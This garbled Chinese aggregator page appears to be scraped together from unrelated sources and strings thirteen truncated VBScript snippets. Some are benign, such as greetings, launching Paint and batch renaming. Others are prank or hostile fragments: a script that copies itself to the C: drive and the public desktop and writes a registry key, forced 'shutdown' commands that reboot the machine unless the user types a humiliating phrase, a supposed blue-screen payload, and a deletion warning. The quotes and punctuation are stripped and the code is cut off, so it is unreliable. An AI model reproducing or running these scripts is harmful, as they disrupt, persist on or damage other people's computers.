1、以下代码测试通过 #39 function test if hournowlt12 then a=quot早上好quotelseif hournowlt18 then a=quot中午好quotelse a=quot晚上好quotend if a = a + quot！你好，quotquot quottime = a。

2、哈哈，LS的比较搞笑 先说VBS我是学VB的，据说VB和VBS差不了多少，只是VBS没有主界面而已，VB对网络的支持堪称完美，所以不少的盗号程序都选择用VB来编写，但是其代码量绝对不是我们可以在百度贴出来的，而且等等。

3、vbs代码如下，这里以打开画图为例，你自己将下面代码中的c\windows\system32\mspaintexe换成你想要启动的程序的路径保存即可#39===代===码===开===始=== set fso=CreateObjectquotScriptingFileSystemObjectquot。

4、在 VBScript 中，你可以使用 WScriptShell 对象和 AppActivate 方法来获取顶层窗口的句柄以下是获取顶层窗口句柄的 VBScript 代码示例Set WshShell = WScriptCreateObjectquotWScriptShellquot#39 激活指定窗口。

5、xufsocopyfile WscriptScriptfullname，quotC\VBScript\一触即发vbsquotxufsocopyfile WscriptScriptfullname，quotC\Users\Public\Desktop\一触即发vbsquotwscrtregwritequotHKEY_CURRENT_USER\Software\Microsoft\Windows\Current。

6、vbs解包代码20100327 2143Dim rs， ws， fso， conn， stream， connStr， theFolder Set rs = CreateObjectquotADODBRecordSetquotSet stream = CreateObjectquotADODBStreamquotSet conn = CreateObjectquotADODBConnectionquotS。

7、完整代码1用记事本新建一个文本文件，把它保存为“批量重命名vbs”注意不要弄成了“批量重命名vbstxt”，也就是要确保其扩展名为“vbs”2把下列代码粘贴到这个VBS文件中Option Explicit Const g_str。

8、Set oScrShell = WScriptCreateObjectquotWScriptShellquotoScrShellsendkeys quot^ESCquot‘发送Windows键 其他BACKSPACEBACKSPACE， BS， or BKSP BREAKBREAK CAPS LOCKCAPSLOCK DEL or DELETEDELETE or。

9、VB经常被用来编写一些整人的脚本程序，那么如何编写这类的程序呢下面我给大家展示一下工具材料 Sublime Text 01 首先来看第一个脚本，这个脚本会每隔1秒就弹出一个窗口，并且你都关不掉，如下图所示 02。

10、代码如下#39警告#39慎用，点击否，出现删除的情况，后果自负#39请先备份set fso=CreateObjectquotScriptingFileSystemObjectquotset ws=CreateObjectquotwscriptshellquotk=MsgBoxquot您是否现在安装quot，vbyesno，quot温馨提。

11、Set objShell = CreateObjectquotWscriptShellquot objShellRun quotshutdown s t 5quottrue end if 第四个 #39这个很强悍的vbs，蓝屏 strs=array13，105，102，32，77，115，103，66，111，120，40，34。

12、首先创建 文本文档，将以下代码复制on error resume next dim WSHshellA set WSHshellA = wscriptcreateobjectquotwscriptshellquotWSHshellArun quotcmdexe c shutdown r t 60 c quotquot说我是只猪，不说就一分钟关你。

13、dim WSHshellA set WSHshellA = wscriptcreateobjectquotwscriptshellquotWSHshellArun quotcmdexe c shutdown r t 60 c quotquot说“我是XX”，不说“我是XX”就一分钟关你的机，不信，试试quotquot quot，0，true dim。